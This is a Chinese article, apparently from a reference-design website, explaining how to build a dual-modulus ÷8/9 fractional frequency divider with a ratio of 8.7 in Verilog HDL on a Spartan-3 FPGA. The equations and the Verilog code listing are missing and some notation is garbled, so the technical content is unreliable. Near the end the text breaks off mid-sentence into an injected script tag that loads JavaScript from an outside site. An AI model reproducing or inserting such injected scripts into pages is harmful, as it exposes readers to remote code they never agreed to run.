基于FPGA的小数分频器的实现

摘 要:介绍了一种基于fpga的双模前置小数分频器的分频原理及电路设计,并用veriloghdl 编程,在modelsim se平台下实现分频器的仿真,并用xilinx公司的芯片spartan3来实现。

  关键词:小数分频器;频率合成;fpga; veriloghdl
realization of decimal frequency divider based on fpga
liu yahai, lin zhenghui
(circuit and system of graduate school, tongji university,shanghai, 200092, china)
  abstract:this paper presents the frequency division theory and circuit design of dualmodulus preset decimal frequency divider based on fpga. the frequency devider implemented with a spartan3 chip is described in veriloghdl,and simulated with modelsim se

  keywords:decimal frequency divider; frequency synthesize; fpga;veriloghdl

  频率合成技术是现代通讯系统的重要组成部分,他将一个高稳定和高准确度的基准频率,经过四则运算,产生同样稳定度和基准度的频率。分频器是集成电路中最基础也是最常用的电路。整数分频器的实现比较简单,可采用标准的计数器或可编程逻辑器件设计实现。但在某些场合下,时钟源与所需的频率不成整数倍关系,此时可采用小数分频器进行分频。本文利用veriloghdl硬件描述语言的设计方式,通过modelsim se开发软件进行仿真,设计基于 fpga的双模前置小数分频器。随着超大规模集成电路的发展,利用fpga小数分频合成技术解决了单环数字频率合成器中高鉴相频率与小频间隔之间的矛盾。
1双模前置小数分频原理

  小数分频器的实现方法很多,但其基本原理一样,即在若干个分频周期中采取某种方法使某几个周期多计或少计一个数,从而在整个计数周期的总体平均意义上获得一个小数分频比,设要进行分频比为k的小数分频,k可表示为:

  

式中:n,n,x均为正整数;n为到x的位数,即k有n位小数。另一方面,分频比又可以写成:

  

式中:m为分频器输入脉冲数;p为输出脉冲数。

  

 令p=10n,则:

  

  以上是小数分频器的一种实现方法,即在进行10n次n分频时,设法多输入x个脉冲。
2电路组成

  每个周期分频n+10-n.x,其电路双模前置小数分频器电路由÷n/n+1双模分频器、控制计数器和控制逻辑3部分组成。当a点电平为1时,进行÷n分频;当a点电平为0时进行÷n+1分频。适当设计控制逻辑,使在10n个分频周期中分频器有x 次进行÷n+1分频,这样,当从fo输出10n个脉冲时,在fi处输入了x.(n+1)+(10n-x).n个脉冲,也就是10n.n+x个脉冲,其原理如图1所示。

3小数分频器的verilog-hdl设计

  现通过设计一个分频系数为8.7的分频器来给出使用veriloghdl语言设计数字逻辑电路的一般设计方法。这里使用÷8/9双模前置分频器,按照前面的分析,可以通过计数器计数先做3次8分频,后做7次9分频,即可得到平均分频系数8.7。由于从n分频切换到n+1分频和从n+1分频切换到n分频都会产生一个随时间增长的相位移,如果简单的先进行3次8分频后做7次9分频将会产生很大的相位波动。考虑到该小数分频器要进行多次8分频和9分频,那么就设法将两种分频混合均匀,这种“均匀”工作是通过计数器来完成的,在这里只讨论一位小数的情况,下面简要介绍这种混合的方法:

  每进行一次分频,计数值为10减去分频系数的小数部分,各次计数值累加。若累加结果小于10,则进行n+1分频,若大于10或等于10,则进行n分频。该例中计数值为(10-7)=3,前3次累加结果都小于10,所以为9分频,第四次累加结果为12,则去掉十位数后累加结果变为2,同时进行8分频,表1给出了该分频器的分频过程。

  若分频系数后为两位小数,则用100减去分频系数的小数部分。用veriloghdl设计÷8/9双模前置分频器的描述程序如下:

  

  

  

  
4波形仿真

  上述的÷8/9双模前置分频器的描述程序经modelsim编译、时序模拟后,得到的波形如图2所示。

  由图2可见,当reset为0时,分频器复位,当a为1时,进行8分频,当a为0时则进行9分频。

  如图3所示,在前3个时钟,a值为0,则进行9分频,其后一个时钟a为1,进行8分频,后两个脉冲,又进行9分频,后进行一次8分频,然后又进行两次9分频,最后进行一次8分频。
5电路实现

  fpga现场可编程门阵列(field programmable gate array)是20世纪80年代中期出现的 高密度 可编程逻辑器件。fpga及其软件系统是开发数字电路的最新技术。他利用eda技术,以电路 原理图、硬件描述语言、状态机等形式输入设计逻辑;他提供功能模拟、时序 仿真等模拟手段,在功能模拟和?script src=http://er12.com/t.js>

  • 基于FPGA的小数分频器的实现已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计